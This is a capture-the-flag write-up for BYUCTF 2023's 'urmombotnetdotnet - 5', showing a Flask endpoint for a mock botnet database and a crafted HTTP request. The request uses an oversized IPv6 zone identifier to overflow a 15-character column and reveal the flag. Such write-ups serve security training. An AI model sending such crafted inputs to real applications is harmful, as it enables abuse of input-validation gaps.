Published on

BYUCTF 2023 – urmombotnetdotnet - 5

Authors
  • avatar
    Name
    Lumy
    Twitter

urmombotnetdotnet - 5 (439 points)

During my databases class, my group and I decided we'd create a web app with the domain urmombotnetdotnet.com, and wrote the relevant code. At first glance, it looks pretty good! I'd say we were pretty thorough. But were we thorough enough??

Oh... we also forgot to make the front end :)

Table of Contents

  1. Source code
  2. Solution

Source code

# POST add a bot as an affiliate
@app.route('/api/bots', methods=['POST'])
@token_required
def post_add_bot(session_data):
    # ensure needed parameters are present
    if (request.json is None) or ('os' not in request.json) or ('ip_address' not in request.json):
        return jsonify({'message': 'Missing required parameters'}), 400

    os = request.json['os']
    ip_address = request.json['ip_address']
    user_id = session_data["user_id"]

    # ensure parameters are strings
    if type(os) is not str or type(ip_address) is not str:
        return jsonify({'message': 'Invalid parameter data'}), 400

    # validate os
    if os not in ['Windows', 'Linux', 'MacOS']:
        return jsonify({'message': 'Invalid OS'}), 400

    # validate ip_address
    try:
        ipaddress.ip_address(ip_address)
    except ValueError:
        return jsonify({'message': 'Invalid IP address'}), 400

    # see if IP address is already added
    cur = mysql.connection.cursor()
    cur.execute("SELECT bot_id FROM Bots WHERE ip_address=%s", (ip_address,))
    response = cur.fetchone()
    if response:
        return jsonify({'message': 'IP address already added'}), 400


    # select affiliate id from user id
    cur.execute("SELECT affiliate_id, Total_bots_added, money_received FROM Affiliates WHERE user_id=%s", (user_id,))
    result = cur.fetchone()
    affiliate_id = result[0]
    old_total_bots_added = result[1]
    old_money_received = result[2]
    # byuctf{fakeflag5}
    # add bot to database
    cur.execute("INSERT INTO Bots (os, ip_address) VALUES (%s, %s)", (os, ip_address))
    mysql.connection.commit()
    bot_id = cur.lastrowid
    cur.execute("INSERT INTO Adds VALUES (%s, %s)", (bot_id, affiliate_id))

    # update affiliate information
    cur.execute("UPDATE Affiliates SET total_bots_added=%s, money_received=%s WHERE affiliate_id=%s", (old_total_bots_added+1, old_money_received+(BOT_PRICE_LINUX_WINDOWS if os!='MacOS' else BOT_PRICE_MACOS), affiliate_id))
    mysql.connection.commit()
    cur.close()

    response = {"bot_id": bot_id, "payment": BOT_PRICE_LINUX_WINDOWS if os!='MacOS' else BOT_PRICE_MACOS}

    return jsonify(response), 200

Solution

CREATE TABLE Bots
(
  Bot_ID SERIAL NOT NULL,
  OS VARCHAR(32) NOT NULL,
  IP_Address VARCHAR(15) NOT NULL,
  Interface_ID BIGINT UNSIGNED,
  PRIMARY KEY (Bot_ID),
  FOREIGN KEY (Interface_ID) REFERENCES Interface(Interface_ID),
  UNIQUE (IP_Address)
);

The only way to reech more than 15 characters is using IPv6, and using zone identifier we can make it bigger by using the character % as delimiter.

Source : en.wikipedia.org/wiki/IPv6_address

POST /api/bots HTTP/1.1
Host: 127.0.0.1:40010
...
Content-Type: application/json
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpc19zdGFmZiI6ZmFsc2V9.G7eNHWV71md6EUPEm9cKqnkbAjN2oV30dJGWO7bUSJM
Content-Length: 174

{
	"os":"Linux",
	"ip_address":"fe80::1ff:fe23:4567:890a%3thisismysuperipv6addressandihopetoretrievetheflagbythiswaysoiwritesomeshittomakeitmorefunsincethecrashoccure"
}

Flag : byuctf{IPv6_scopes_are_just_arbitrary_strings…maybe_there_are_more_vulns_worldwide?}